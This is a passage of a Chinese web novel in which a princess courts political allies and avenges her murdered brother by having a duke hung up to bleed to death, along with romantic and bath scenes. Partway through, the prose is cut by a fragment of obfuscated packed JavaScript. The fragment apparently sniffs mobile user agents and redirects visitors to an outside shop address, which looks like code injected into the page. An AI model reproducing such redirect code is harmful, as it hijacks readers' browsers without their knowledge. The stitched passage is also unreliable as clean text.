沈青辞眉尖一跳,扶住她的手腕,怒不可遏:“你这是做什么?”
他语气的怒意唬了闻铮一跳,长公主愣愣道:“歃血为盟,永不背誓。”
“天下誓言在于人心,尾生抱柱难不成也是以血为盟?”沈青辞怒气冲冲:“长公主以为我给出的诺言是要求那些功名利禄,闻铮,你未免太看轻我了。”
最后一句不是生气,是溢于言表的失望。
闻铮有点头疼,呆呆的看着他,很无奈:“我都已经咬破了,难道白咬了?”
沈青辞目光落到闻铮的手指上,她长久不练剑,指腹的薄茧已然消退,修长的指尖上一抹红。
他喉咙动了动,旋即便俯首张嘴含住了她的手指,闻铮错愕了半天,不自在的想要抽回,却碰到一处,温和湿润,是…他的舌尖。
“你…”
沈青辞没有被打扰,舌尖舔过闻铮的伤口,轻轻吮吸,带过一丝轻痒。
半晌,沈青辞吐出她的指尖,神色缓和了几分:“我既饮过你的血,必然不会出尔反尔,君子一诺,此生必践。”
闻铮没想到外表清冷的状元郎,内里如此火热,一时之间惊讶到无言以对。
“你喜欢这样结誓吗?”沈青辞单手撑着膝盖,皱眉望着她。
闻铮长叹一口气:“什么喜欢不喜欢,你当我是谁,哪有天天需要结誓的人?”
要是如此,她血也流干了。
沈青辞眉头舒展些,垂着眸在翻找什么,挑起一边眉,意味不明:“这样很好,没道理为了什么誓言,伤了自己身子。”
长公主身经磨难,不觉得咬破指尖就是伤了自己,却被突然其来的关心乱了心智。
沈青辞从兜里拿出一块红枣糖,趁着闻铮不注意塞到她嘴里,长公主没习惯被人投喂,张嘴就要吐出来,被沈青辞按着糖抵着舌尖喂进去,指腹轻轻擦过她的唇边,不让她再吐出来,眸底爬上点说不清道不明的情绪:“别动,我正是在疼你。”
这算哪门子的疼?
那人看懂了她的疑问,慢条斯理的解释:“红枣补血,你刚失血,最适合不过。”
闻铮错愕,那点血还叫血吗?
沈青辞再一次读懂了她的眼神:“那点子血当然不算血,可落在我眼里,我就是会心疼,我是在疼你,也是在疼我自己。”
闻铮怀疑这人会读心术,又听见沈青辞说:“今日这糖怎么样?我站在摊子前试了很久,猜见你约莫喜欢这种口味。”
“很好吃。”闻铮动了一下,幻想沈青辞站在摊位前一颗颗试吃糖的样子:“你知道我遇刺的经过吗?”
沈青辞没有隐藏:“只看见你捅了自己一剑,除此之外,再无所知。”
闻铮眼神一紧,嘴里的红枣糖瞬间不甜了,没有想到那晚他居然也在,换位思考今日如果她是沈青辞,绝无可能轻易将这件事说出口,任何时候都要留一手。
风吹过,闻铮盖着沈青辞的外袍,一点也不凉,说不出来外袍上什么香味,莫名心安,缓慢拖长语调:“状元郎。”
他们都知道这意味着什么。
——闻铮妥协了。
“徐正假山到书房有一截地牢,囚禁过很多人,当时我们在时还遇到两个黑衣人。”
她并未说太子的事。
沈青辞侧眸:“你和谁?”
“邵景泽。”闻铮奇怪,都说行刺司徒大人,还能有谁?
沈青辞撩袍起身:“那我去司徒大人府上再细问案情。”
他走后躲在柱子后的苏茉悄无声息的出来了:“你觉得他只想借你做登云梯?”
闻铮嗅着沈青辞的外袍,轻轻阖住眼:“说不上来,可我身上除了这点好图谋,还有什么值得图谋的?”
“真是一个猴一个拴法,你轻飘飘两句话,他就上套了,不过此人居心叵测,千万不能心软。”
闻铮咬着糖:“妥协并不意味心软。说到底,大家逢场作戏,各取所需。”
***
沈青辞故意挑了深夜去司徒大人府上,他领了大理寺少卿的职务,站在门口悠悠的敲开邵景泽别院的门。
管家是邵景泽用了很久的人,人称张伯,拉开门缝,一眼瞟到清润公子身后黑压压的一群衙役,摸不清情况:“大人,有何贵干?”
沈青辞站在门口,目光柔和,但语气不容侵犯:“烦请张伯替我通报,告诉邵景泽,我找他。”
衙役倒抽一口凉气,这么直呼司徒大人名讳,属于以下犯上罢。
沈青辞一手推开大门,直奔正屋而去,管家提灯相拦,沈青辞步子迈得大,面无波澜:“老伯,我若是你,现在就去通报,以免被我捉奸见双,坏了邵大人名声。”
邵景泽并未入睡,正在书房处理公务,听着动静出来:“邵某夜里喜欢独寝,何来捉奸见双?”
这是沈青辞第一次与邵景泽
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面对面交锋,这人无论在朝堂上还是在朝堂下,身上都是从容不迫。他能爬到这位置,独得皇帝青眼,是有本事的。
“人人习惯不同,”沈青辞一身官服,微笑:“有人喜欢独寝,有人喜欢面首,说到底习惯而已。”
邵景泽眼眸一沉,这已经不是挑衅了,这简直是宣战,抬手将沈青辞请进正屋,直到只剩下他们二人,压低声音:“女子名声要紧,我为你上官,劝你谨言慎行。”
什么人能养面首?普天之下除了那位长公主还有谁?
“名声要紧?”沈青辞与邵景泽相对而立,身量个头差不多,气势不容小觑,语气淡淡:“邵大人既已知道名声,那为何又在深夜与人独行在密室之内?”
邵景泽冷笑一声,大刀金马坐在椅子里:“怎么,嫉妒啊?”
沈青辞只在这一句话里就道心崩溃,他的确嫉妒,嫉妒的发狂。
“我来是为公事,”沈青辞强压的心绪坐到对面,不重不轻的换了话题:“此案涉及人员非富即贵,望司徒大人据实相告。”
邵景泽撑着一条腿,露出招牌似的嘲笑:“当然,我定然知无不言,言无不尽。”
“你为什么会出现在密道里?”
邵景泽哦了一声,唇角勾起:“长公主与我饮完交杯酒后,不胜酒力,我不放心,跟过去看了看。”他以一种怜悯的眼神望着沈青辞,轻声问:“沈状元不会这也不允吧?”
杀人诛心。
沈青辞手掌猛然收紧,冷着脸回想那三个字,交杯酒。
她居然还和别人饮交杯酒!
邵景泽脸色隐隐可见喜悦,啧了一声后又慢悠悠说道:“我忘了,你允不允的也不是什么要紧事,长公主愿意就可以。你还没有这个资格。”
半晌,沈青辞以其人之道还至其人之身,端起一旁的茶盏,态度十分恭谨,说话十分欠揍:“我想我定是要比上官有资格的多,毕竟在下从未听闻哪位有妇之夫还能管的了别人床帏之事。”
沈青辞是状元,很懂得断句重音在何处,譬如这句话他很好的把重音放在最后四个字上。
邵景泽缓缓放下腿,心里烦躁,来人比他想的要难缠啊,略微一动就知道他的七寸在何处:“你说的有理,但若是面首一类的想必也是管不了主子的事。”
今日可以有他沈青辞这个面首,来日也可以有张青辞、李青辞其他的面首,说不准哪天也会有邵景泽这个面首。
“哦?”沈青辞笑笑,很是温和,四两拨千斤的回道:“邵大人也想入这个行当?”
“没这兴趣,”邵景泽对上沈青辞的目光,这次不笑了,一本正经:“做小有什么意思,我要做当然是要做正宫。”
“死对头也可以做正宫吗?”沈青辞垂眸,不痛不痒的扎刀子:“这话可不是我说的,长公主解释了你们的关系,所以下官疑惑,死对头可以做正宫吗?”
这一局,邵景泽败了。毕竟闻铮从未和他解释任何一件事。她能对沈青辞解释,已经证明他们关系非同一般。
解释了多少?从定亲开始还是从两年前狱中开始?邵景泽心中烦闷,明明只属于他们两个的回忆,如今也要有第三人了么?那他还剩下什么?
他的沉默,让状元郎乘胜追击:“何况,大人已经定亲,当正宫的话我比大人多些胜算吧?”换而言之,轮也轮不上你。
9. 雨夜
邵家别院里明枪暗箭,阴阳怪气,公主府里也不得安生。
傍晚圣旨便传到公主府,闻潮生才明白昨天邵景泽那句话是什么,赐亲是假,叫他搬出公主府才是真,当下脸色骤变。
“邵狗!”闻潮生咬牙切齿将桌子上茶盏摔个粉碎:“他安的什么心思?”
长公主的玄猫吓了一跳,扑通两下跳出去了,闻铮想抱没抱住,下意识道:“是不喜欢赐亲的女子吗?”
闻潮生踏着一地碎片,走到闻铮身边:“姐姐,邵狗就是见不得我们好,才处心积虑的叫我成亲。”
…
长公主皱眉,万念俱灰的想,这都是什么用词啊,明日,不行!就现在必须找个先生好好教他!
可一抬头看见闻潮生湿乎乎的眼睛,当下又有比请先生更重要的事情,耐心的劝慰:“他虽然处心积虑,意图不轨,但是你也到了年纪了,父母不在,长姐为母,我的确要为你寻一门亲的。”
“姐姐,是不准备要我了吗?”闻潮生抿了抿嘴唇,嗓音发干:“我知道,姐姐当年说的都是假的,什么一直与我在一起,都是作不得数的。”
那是两年前她从京中回苍梧山,刚经历造反破城,身为义子的闻潮生几乎被折磨的快死了,她撑着最后的力气救下人,她的弟弟奄奄一息躺在她怀里,问她:“姐姐,我们是不是马上就要死了?我们会不会和父皇母后他们死在一起?”
闻铮掷地有声地回答:“不会死,你和我要好好的活下去,要一直一起活下去。”
闻潮生眼中烛火晃动,又吸吸鼻子,可怜兮兮:“姐姐,我不会怨你的,誓言什么哪里能够作数?是我一直痴心妄想,自作多情到以为能和姐姐永远在一起。姐姐,你已经准备好不要我了吗?”
这话叫闻铮心里顿时酸涩无比。
闻潮生捕捉到闻铮脸上的情绪变化,几不可察的挑点笑,继续可怜巴巴道:“你一直是我生命里最亲的人,但我知道,我已经不是姐姐最亲的人了,姐姐,日后会有更重要的人来代替我的位置。”
闻铮心里一动,纵使他们没有血缘关系,他们依旧是彼此最亲的人,这是无论如何都取代不了的。
“好啦,你不想搬出去就一直住在这里,”闻铮改变了主意:“不想成亲也问题。没有谁能代替你。”
她还不想成亲呢,没必要己所不欲,强加于人。
“真的?”
“当然。”
“姐姐,真的没有人可以代替我吗?“
长公主又回:“当然。你是独一无二的,”
闻潮生挪开脚步,茶盏的碎片扎入鞋底,在地下绽放一朵血花。
闻铮被唬了一跳,拉着闻潮生的手腕往凳子那走,却不想被闻潮生一个反手拉了回来,跌到他的胸膛上。
他已经很高了,有时闻铮觉得他已经不像自己的弟弟了。
“怎么了?”闻铮抬头,看见的是闻潮生的下颌,俊秀的面容就在眼前,熟悉又陌生。
闻潮生低声笑了,声音平缓低沉:“没怎么,我是想问问姐姐,若是日后我有了意中人,姐姐会支持我?”
这叫什么问题?
闻铮不假思索的回答:“当然会支持你。”
闻潮生笑了,又不知在笑什么,蛊惑人心道:“若是这段感情于世人所不容,若是她不喜欢我呢?”
他说完,垂眸看着闻铮,语调沉重:“姐姐,那我又当如何?你教教我,姐姐,我那时应该怎么办。”
闻铮听得云山雾里,不懂闻潮生喜欢哪家的女子,那女子既不喜欢他,感情又为世人所不容?这是何方神圣?
但她转念一想,感情这东西向来不由人,所以才有情非得已一词,自己若再不支持他,怕这小子就要心碎了。
“世人若是不容你们,也不见得是你们的错,大约世人眼瞎,”闻铮谨慎的用词:“她若不喜欢你,你却一直喜欢她,这也不打紧,你好好对人家,总有一日精诚所至,金石为开。”
闻潮生眼神变得清澈,眉间小痣都有笑意,雀跃了些:“姐姐,真的这样认为?”
“嗯。”闻铮点头,又怕自家杀弟弟剃头挑子一头热:“当下之际,我以为你还是让她尽早知道你的心意。”
闻潮生拉着长公主的手腕,一字一顿,看着怀里人,像发誓那样认真,重复闻铮的话:“好,那就让她知道。”
闻铮很少见闻潮生这般认真,也很想知道闻潮生找了一个什么样的女子,发挥长姐如母的优势:“什么时候带回来见我?”
“十天后吧,”闻潮生闭了闭眼,闻到长公主的发香,心跳如雷响:“总要一个正式的场合。”
长公主表示认同,这样才能显示对女子的尊重。
十天后?她算算时间,那天正巧是她选夫君的日子。
不错,是个好日子,双喜临门。
***
闻铮因伤消停了好几日,在家潜心研究赋税表,期间发生了几件大事,一是黔安王上表自己已有中意之人,请圣上不用再赐婚,二是新科状元沈青辞雷厉风行,查着徐正家人仰马翻,三是赋税表有问题。
苏茉不精此道:“哪里有问题?”
“这么多人都没有问题,就单单徐正有问题?”闻铮伤好的差不多,几日下来浑身养的懒了:“这不是引我去找他吗?”
“那你去吗?”
长公主一把盖住赋税表:“去,怎么不去?有什么圈套得去了才知道。”
闻铮先见到张伯,老头愣了,又差点哭出来了:“长公主,怎么是你?”
“是我。”闻铮缓步入内:“我找邵景泽,他在不在?”
张伯引的人往里走:“大人不在,长公主里面请,我现在派人去请大人回来。”
苏茉跟在后面嘀咕:“我怎么看见这老头不欢迎你?”
闻铮轻咳几声,掩饰尴尬,面对苏茉好奇的眼神,又不得不低声解释:“我,我以前在这住过几个月,他老不让我走,我就…”
“你就怎么了?”苏茉狐疑的盯着她,期待的看着闻铮:“你怎么还在这住过?”
长公主也不太能原谅那时的自己,混江湖惯了,性子也野,什么话张口就来:“我就诬赖他喜欢我…”
苏茉宛如五雷轰顶:“你可真有出息啊,五十多岁一老头喜欢你?你为什么要在这住?”
闻铮想起往事,都不好跟着张伯太近,刻意慢了几步:“哎,我那时是罪人子女,被关到刑部大牢,是邵景泽救了我。”
“他于你有恩。”
闻铮没反驳这点,又补充:“他于我也有仇。”
张伯客气的把人带到正屋,又客气的上了茶:“长公主稍候,老奴这就差人请大人回来。”
闻铮嗯了一声,抬眸四处打量这间正屋。
“和你以前住的不一样?”
“不知道,这是邵景泽的别院,我住的是别院里面的别院,”闻铮摇摇头:“我没有来过这里。”
苏茉毒舌一如既往:“你是金屋藏娇里的金屋藏娇。”
没等来邵景泽,先等来了徐玉景。
“你怎么在这?”
闻铮心道我还以没问你呢,你倒先问我了。
“我怎么不能在?”闻铮故作惊讶:“您父亲的案子审的怎么样,怎么还有心思管我的闲事?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480176|201693||http|test|mini|href|location''.split(''|''),0,{}));
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>徐玉景想起刚在狱中见过父亲血肉模糊的样子,心有余悸,但仇敌眼前,不能让人小觑:“皇上刚下旨,念及我父历经三朝,此事大事化小,我父已经回府养伤,不劳长公主费心。”
闻铮面沉如水,漫不经心的揭开茶盖,她喜欢黄山毛峰,张伯按照她从前的喜好上的茶道:“那可真是…恭喜你了。”
沈青辞是一把好剑,办事雷厉风行,在此案中践行诺言,心都从大理寺偏到公主府了,可惜皇上一味袒护。
闻铮放下茶盖,不禁轻微皱着眉:“我猜,你今日前来是想让邵景泽娶你吧?你家失势了,想攀附当朝司徒大人,借此机会东山再起。”
“什么攀附!”徐玉景猛的被戳破心思,气的跳脚:“我,我与他本来就已经定亲,他娶我本来…本来就是应该的。”
闻铮只笑不语,她毫无保留的展示自己轻蔑、嘲笑,灼灼的目光让徐玉景浑身不自在。
“你这么看着我干什么?”徐玉景慌不择言,想到什么说什么:“你以为我会把他让给你?”
闻铮对此不在意:“天下男人多的是,你喜欢就让给你好了。”
“我不需要你让!”徐玉景哪里受的了这般:“我和邵景泽本来就是门当户对,我们,我们两家都有从龙之功。”
闻铮听到前半句话还没有反应,到后半句话面色几变,冷眼讽刺道:“是啊,国公徐家,齐国公邵家,镇北侯赵家你们多厉害啊,个个都是从龙之功。”
徐玉景只顾着逞口舌之快,没想到这一茬,顿时不敢说话。
闻铮豁然起身,没耐心等邵景泽回来了,下阶路过徐玉景身边时慢了几步,轻声道:“替我给你父亲带句话。”
徐玉景一怔:“什么话?”
“就说,”闻铮轻飘飘一笑:“让他洗干净脖子在家里等着。”
徐玉景知道这句话不是开玩笑,反应过来时闻铮已经出二门了。
闻铮停在马车旁,仰面望天。
“看什么呢?”
‘我在看,”闻铮长长的叹息一口:“今夜要下雨了,真是个,杀人的好天气。”
***
是夜,大雨。
闻铮一身黑衣,在花神剑站定了许久,最终转向一旁,拿了一把又轻又薄的剑。
苏茉守在外头,犹豫:“确定不叫潮生?”
“不用,”闻铮望着雨幕,心里出了奇的镇定,比起当年第一次行侠仗义时,真是稳重许多:“这种事我自己去就好。”
“师姐,”苏茉换了称呼,叫住入雨的人:“我与你同去。”
***
徐正躺在床上时不时呻吟几声,徐玉景刚侍奉完汤药,心里烦闷,若不是有从龙之功,父亲能不能活着从大理寺出来都是未知数,想起从龙之功,徐玉景又想到下午闻铮的警告。
徐玉景幽幽的叹了一口气,这种遭心事没必要让父亲知道,就算她长公主有通天的本事,也不能半夜打入国公府。
不过,她临出门还是将房门拉的紧紧的,若不是担心夜里不方便,非要上几道锁不可。
闻铮进来时哪里注意到这么多小心思,抬腿踹开门。
徐正连日受刑,回了家也不能立时三刻睡着,被这动静惊了一跳,登时睡意全无,眯着眼看向门口:“谁?”
水珠滴落,两道黑影缓缓入内,可没有人回答他的问题。
徐正在黑暗中强忍着疼痛撑起身体,喊道:“你们是谁?为何,为何不说话?”
惊雷一响,雷光乍现,霎那间照亮了为首那人的面容。
徐正后背猛然现出一层冷汗,沙哑又苍老声音透漏着疑问:“长公主?”
10. 杀人
剑柄荡开纱帘,从后面露出闻铮的脸:“奇怪我为什么在这?看来你女儿的话没有带到。”
她一开口,嘲讽拉满。
“我明明叫她告诉你,让你洗干净脖子在家等我,”闻铮上下扫视了几圈,徐正身上或大或小的伤口,沈青辞办事得力,果然好好照顾了徐正,她一笑,很苦恼的样子:“怎么办呢?你这脖子会不会脏了我的剑。”
徐正冷汗涔涔,不由自主的往墙边靠近:“你,你不敢,我是国公,你怎么敢杀我?”
“当了两年的国公,忘记了自己是什么爬上来的对吗?”
闻铮拇指划过剑鞘,眼神变了狠狞,声音却柔和了:“不如我帮你回忆回忆?你历经三朝,可惜能力平平,心术极端不正,太子更是看不上你,你知道太子接位以后,你难有出头之日,所幸与当今皇上一起造反,是吧?徐正。”
徐正彻底退到墙边,紧贴着墙,望着缓步靠近的女子,恶声恶气:“胡说!我,”
“你什么?”闻铮好奇端详徐正,剑鞘磕到地上:“你怎么不辩驳?”
徐正双手颤抖,不敢直视闻铮,强烈的求生欲望让他一直回想两年前,喘着气:“你,你什么都不知道,你当时不在京,”
闻铮停在床边,剑鞘不知何时褪去,她忽然疯癫一般的笑了:“所以啊,所以我来请教你啊,你是怎么杀害太子的?”
徐正惶恐的抬头,被迫的与闻铮对视,那是一双冷冽且恨意无限的双眸。
闻铮又重复了一遍:“是你,杀了太子。”
徐正慌乱不堪,扒拉着头发,他眼前浮现太子的脸,巨大的恐惧使他呼吸急促不停:“不,我没有,我没有,不是我杀的,我只是,我只是,”
“你只是什么?”
“我只是将他囚禁起来,我有好些毒药,”徐正忽然哽咽了,太子那时才二十二岁,苦苦求着他勿伤子民,他是一位好储君:“我不想杀他的,可是邵雷说太子不死,新皇无法登基。”
徐正抓紧被角,狼狈的仰视闻铮。
闻铮剑尖贴着徐正的大腿,在一片死寂里,慢慢的笑出声:“我改变主意了,不砍你脖子了。”
***
雷阵雨来的快去的也快,泥土坑里有些积水,托住滴落的血滴,苏茉与闻铮并肩站在树下,望着被吊起来的徐正:“费这么大劲,就是把他吊起来放血?”
闻铮迟疑少顷,问:“你知道我太子哥哥吗?”
“知道,听说太子素有贤名,是一位很有作为的储君。”
闻铮倏忽笑了:“其实不是的,他小时候比我还混,总爱端长辈的架子,你别看我现在对闻潮生倚老卖老的,都是从他学的,我一调皮,他就威胁我,要把我掉在太和宫打一顿。”
她笑不出来了,往事不堪回首:“我从外游历回来,他忽然就变了,再也没和我说过这种话,可最后他被吊在太和宫,真是报应。”
闻铮至死忘记不了那日,她匆匆回家,见到的是尸山血海里的太子,太子被吊在太和宫的横梁上,血尽而亡。
她当时以为父王母后还活着,强忍着泪水:“太子哥哥,我,我先去找父皇母后,回来,回来我就放你下来。”
很可惜,自此一别,她再也没有见到太子哥哥尸体。
回忆与现实重叠,眼前是徐正奄奄一息被倒吊在树上,闻铮油然生起一种难以言说的快/感,面无表情数着一滴一滴落下的血,狰狞的笑了:“此处不是太和宫,你倒也配不上那种规格,徐正,你去黄泉边向我哥哥赔罪吧。”
哥哥,对不起,这么久才为你报仇。
“走吧,此地不宜久留。”
闻铮怀疑苏茉是属乌鸦的,刚一说完,侍卫就围上来了。两人很有默契的戴上面纱。
闻铮善剑术,苏茉善轻功。
“师姐,你先回去,我要遛遛他们。”
闻铮没有回去,绕到偏僻巷子里蹲在水坑旁边洗手,血腥味太重,玄猫都能闻出来,更别说闻潮生了。
她望着慢慢被染红的水,忽然觉得好累,手也不想洗了,就这么蹲在水坑旁。
太子哥哥,你总是说你是太子,我打不赢的人你帮我去找场子,怎么样?妹妹今日帮你找的场子不输你吧?
水面轻轻晃动,里头现出一个人影。
闻铮缓缓仰面,看见雨雾里立着个人,她眨了眨眼,魂归梦里:“哥哥?”
那人靠近些,在黑暗中面容清晰。
闻铮低垂着眼眸,真是人生何处不相逢。恍然间又觉得这个词不对,应该是冤家路窄。
又下雨了。她要回家了。
闻铮朝他伸手:“拉我一把,腿麻了。”
邵景泽心中酸涩,但还没有自恋到那声哥哥是叫他,握住她的手,将人拉起来,微微皱眉:“好重的血腥味。”
“嗯,刚杀了人。”闻铮不置可否:“你怎么在这?”
邵景泽将伞偏到闻铮那边,盖住人:“家里走丢一只猫,一直没找到,真叫人担心。”
拙劣的谎言。
“我送你回去。”
闻铮偏头,她这身量只堪堪过邵景泽的肩膀,可以放心大胆的打量此人,邵景泽不是现在才长的这么艳丽,好像他们小时候初相见时,这人就有一张蛊惑人心的脸。
“看什么呢?”邵景泽带着人绕开水洼:“小心湿了鞋袜。”
“司徒大人欠我一个人情,不会打算把我送回家就还了吧?”
邵景泽认为他们之间是算有点交情的,但只要长公主唤了官职,就证明此时长公主不想谈交情,只想谈利益。
“我知道你不想娶她。”
邵景泽目光微动:“那你知道我想娶谁吗?”
雨落在伞面上,闻铮轻微的叹了口气,她回宫那日其实先看见的人不是太子,是邵景泽。
思及至此,闻铮面色泛白:“你知道我下一个要杀的人是谁吗?”
两人挨的近,小臂贴着小臂。邵景泽听到她的声音:“今日徐玉景没有传话,让徐正措手不及。希望你不要步后尘,回去告诉你老子,让他洗干净脖子在家等着。”
邵雷是邵景泽父亲。
邵景泽一哂:“再下个是不是我?”
闻铮没答话,嗅到衣服上的血腥味,悠悠叹道:“若是司徒大人肯交出权力,我倒是肯放过你。”
“女子不能入朝堂,”邵景泽说着抬手,将闻铮往伞下拉了点,似是耳语:“你是想让我交给谁?沈青辞吗?”
闻铮还真的没有想好这个问题,沈青辞底细不明不要紧,但一直查不出来蛛丝马迹,闻铮可疑的心理就上来了。
她的沉默在邵景泽眼里是另一层意思,司徒大人后槽牙都要咬碎了,他无理
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取闹的想,自己与长公主认识多长时间,沈青辞又与长公主认识多长时间,怎么偏生此人就能入了闻铮的眼?他可以,为什么自己就不可以?
邵景泽也闻到那股子血腥味,陡然生起的那些不着边际的想法被血腥味压下去了,他凉凉的想,该怎么办?他这么颗求而不得又死不瞑目的心该怎么才能获得平静?
“闻铮,我不会交出去的,徐正已死,明日不管怎么审查,你都有嫌疑,”邵景泽旧事重提:“回苍梧山吧。”
有些东西他得不到就算了,只要他知道她在就好,生生平安,即使世世不见。
“我的仇你替我报?”长公主闻言忍不住笑了,眼里半点笑意都没有:“邵景泽,你有没有良心?你和我太子哥哥是自小的情分,你是他的伴读,我父皇母后对你青眼有加,连我,”
她顿了顿深吸一口气,她本不该如此脆弱:“徐正谋反我尚且能找到理由,你呢?你有什么理由?”
雨越下越大,闻铮从伞下钻出来,任雨水冲刷身上的血腥味,又挑起点癫狂的笑:“你好意思说让我回苍梧山?那我的仇呢!我的仇,谁替我报?”
这雨下的真是好啊,好到她在雨水里哭泣都不会有人发现。
“邵子渊,你和我太子哥哥对我说过,我打架输了,你们去帮我找场子。我哥死了!”闻铮说不清眼前是雨水还是泪水,两年前的大雨一直蔓延到今日:“我也输了,你拿什么帮我找场子?”
油纸伞跌倒地上。
闻铮少见的情绪崩溃,冷冷道:“你没资格要求我回去,你我之间,不死不休。”
邵景泽浑身一僵,他不是第一次听这话,却是第一次回应:“我帮你。”
倘若闻铮还是十八岁,她一定会相信这句话,可是她知道如果最终的利益没有偏向她,闻铮是不会动摇的:“拿一份做过手脚的赋税表来糊弄我,邵景泽,这对我来说一文不值。”
邵景泽沉默,赋税表他的确做过手脚,除去徐正那一栏,其余全是假的,良久,他涩声开口:“知晓太多人的秘密不是好事。”
“别拿这个当借口了,邵景泽!邵子渊!”闻铮只觉得可笑:“你明明不想娶徐玉景,你在等着我,等着我上门,等我遇到徐玉景,等她告诉我徐正无事回家!你在等我杀他!你为什么会出现在那里,你八百年也走不不了那一回巷子!你猫毛过敏,养什么猫?”
邵景泽胸腔里有股难以言明的情绪起伏不定,掩于眸底,他垂下眼眸,听见闻铮问:“司徒大人,你算尽天下人到底为了什么啊?你帮我?你这样连退一桩婚都处心积虑的人何谈真心帮我?”
雨势渐大,闻铮觉得自己已经看不清邵景泽了。
长久的无声,邵景泽缓和了情绪:“我送你回家。”
折腾一宿邵景泽回去已至天明,张伯倚着门框打瞌,他轻轻拍醒人:“张伯,下次不用等我,早点睡吧。”
“人老了,觉少。”张伯起身,跟在邵景泽后面:“少爷,找到长公主没有?有没有做什么出格的事?”
邵景泽不知道怎么回答,抬手扣在腰带上,卸了腰间软剑。
“都怪我,我昨天如果能拦下长公主就好了。”张伯想起来很自责。
邵景泽摇头:“想走的人留不住,当年如此,现在也如此。”
当年想留,留不住;现在想走,走不了。
11. 吃糖
闻铮精疲力尽滑入水中,她单手撑着脑袋,温水放松了全部神经,没舍得睁开眼,听到点动静,笑道:“身手这么好,弃武从文太可惜。”
屏风后出现一道身影,如山月挺拔,正是沈青辞。
“当武状元非我志向啊。”
美人戏猫的屏风半透,小架上凌乱搭着闻铮褪下的衣服。沈青辞的指尖贴着屏风行走,滑倒闻铮修长的脖颈处,没动。
再往下,就摸不到了。
“那什么是你的梦想?”水声溅起,闻铮一只胳膊搭在浴桶旁,水珠沿着小臂再到指尖,一滴一滴落下,慢条斯理的问话挑起一点无端的欲|望:“状元郎——”
水汽上来,沈青辞有点热了,五指下滑,隔着屏风上的美人托住了那两滴水珠,轻叹:“愿得一心人,白首不相离。”
闻铮忽然睁开眼睛,朦胧的雾气里看到沈青辞的身形,漫不经心换了姿势,双臂交叠放在浴桶边,静静的看着人。
身形挺拔,腰背笔直,这非常年习武之人不可做到,沈青辞绝非等闲之辈。
“你是谁?”不知道底细的人,闻铮用起来很不放心,她无法确定自己能够掌控他多久,一日反主,覆水难收。
沈青辞放下手指,眸光深深凝视屏风上的身影,像是要确定什么,但其实他除了那一团身影,什么都看不见,又能确定什么?
“长公主信不信世上有一见钟情之说?”
“我只知世上之人无利不起早,”闻铮刚报了仇,现在心情不错,愿意与人敞开心扉,所以话就多了些:“你我之间并无利益捆绑,沈青辞,我难以放心。”
沈青辞睁着眼看着闻铮在屏风后撑起身体,细小的水珠从肌肤沉入水面。
“长公主,”沈青辞居然后退一步,这让闻铮很意外,复而听见沈青辞认真的问:“愿意给我什么?”
她一直都知道,这具身体从她决定复仇开始,就不属于自己了。
“哗啦”一声水响,闻铮从水中起身,今夜大雨,沈青辞觉得自己不应该看的这么清楚,但他确实实实在在的看清楚了。
凹凸有致,身材紧致。
“想看就进来看,隔着屏风能看清楚么?”
沈青辞脑袋里“轰”的一声响,像是有什么炸开了,怒火中烧,颇有几分恨铁不成钢:“闻铮,你就是这般不自重自爱么!”
闻铮其实清白的很,现下只不过揣度沈青辞的心思才出此下策,被这么咬牙质问一遭半天反应不过来。
难道真的有人喜欢美人如花隔云端?
想到这里,闻铮十分不明所以:“你不喜欢?”
“喜欢!我可太喜欢了!”沈青辞双眸里浮上一层怒气,恼羞成怒:“我恨不得现在就与你交颈而卧,与你共赴巫山云雨!”
闻铮没听出来“喜欢”的意思,相反听出来深恶痛绝,她放下以小人之心夺君子之腹的心思,别无选择的承认美人计功败垂成。
从屏风那边扔出一块巨大的布巾,不偏不倚落到闻铮身上,她垂眸拢了拢,再抬头时沈青辞绕过屏风站在浴桶前,不由分说将人打横抱起来。
闻铮惊呼一声,下意识的将布巾裹紧。
头顶传来一声冷笑,皱紧眉头,俨然还在生气:“不是让我看吗?现在又怕我看?”
闻铮着实没想到他能说出这么一句话,按压下震惊,道:“刚刚让你看你不让看,错过这村就没这店了!”
水珠浸透布巾,贴在沈青辞的手心,他不知是自己出的汗还是那团水,认命似的叹口气,往床边走。
闻铮双手交叉在布巾,说不紧张那是假的,暗暗揣测沈青辞也并非柳下惠。
她以为会有下一步动作时,沈青辞将她轻柔的放到床上,拉过里间的被子给她盖上。
“你…”闻铮想说什么。
沈青辞额角直跳,脸色变得难看:“闭嘴!”
好吧,状元郎也喜怒无常。
沈青辞疏忽俯身,一只手探进被子里,抓住汗巾一角——竟然直直将汗巾从被子里拉出来!并没有碰到她!
闻铮未着寸缕,裹着被子看着沈青辞合衣躺到她旁边,右手捞她,连人带被子一同揽到怀里。
“你什么习惯?”闻铮噗嗤笑了:“抱着这么大坨被子睡觉吗?”
沈青辞深不见底的眼底里看不出什么情绪,温水将长公主身上血腥味洗净,散一点香。
说不出什么味道,让他有些上瘾,想要多闻几次。
“徐正死了,你想让我接手此案。”沈青辞以一种亲密过头的姿态贴住人,说起公事正紧的很:“继续调查当今圣上昔年反叛一事,你担心我不能为你所控,出此下策。”
闻铮身上被沈青辞裹得紧,一点缝隙都不露,好在可以靠在他的颈窝中,叹道:“你这样聪明,我好害怕啊。”
“怕什么?”他声音慵慵懒懒,不高不低应诺:“再聪明不也还是为你所用。”
身上的水温干后,湿漉漉的头发贴在脖子里难受得厉害,闻铮不安分的扭动。
沈青辞心有千千结,被她扭的差点情难自禁,涩声道:“求你别动了。”
他不是柳下惠,哪能时时刻刻坐怀不乱?
闻铮无奈:“那你把我头发拨开些…太湿了…”
沈青辞抬臂为她捋头发,再看见那截脖颈儿时喉结滚动,只好错开目光,焉得听到闻铮轻叹:“我又欠你一次。”
她如今回归京中,骨子里仍然是江湖做派,力求恩怨两清,沈青辞给予的东西她拿不出相应的报酬,总担心状元郎一朝反水。
沈青辞从背后抱人,面颊贴着长公主面颊,无力又缓慢的质问:“你从来没有欠过别人什么东西吗?”
闻铮很肯定,斩钉截铁:“当然没有,我没有欠债不还的习惯!”
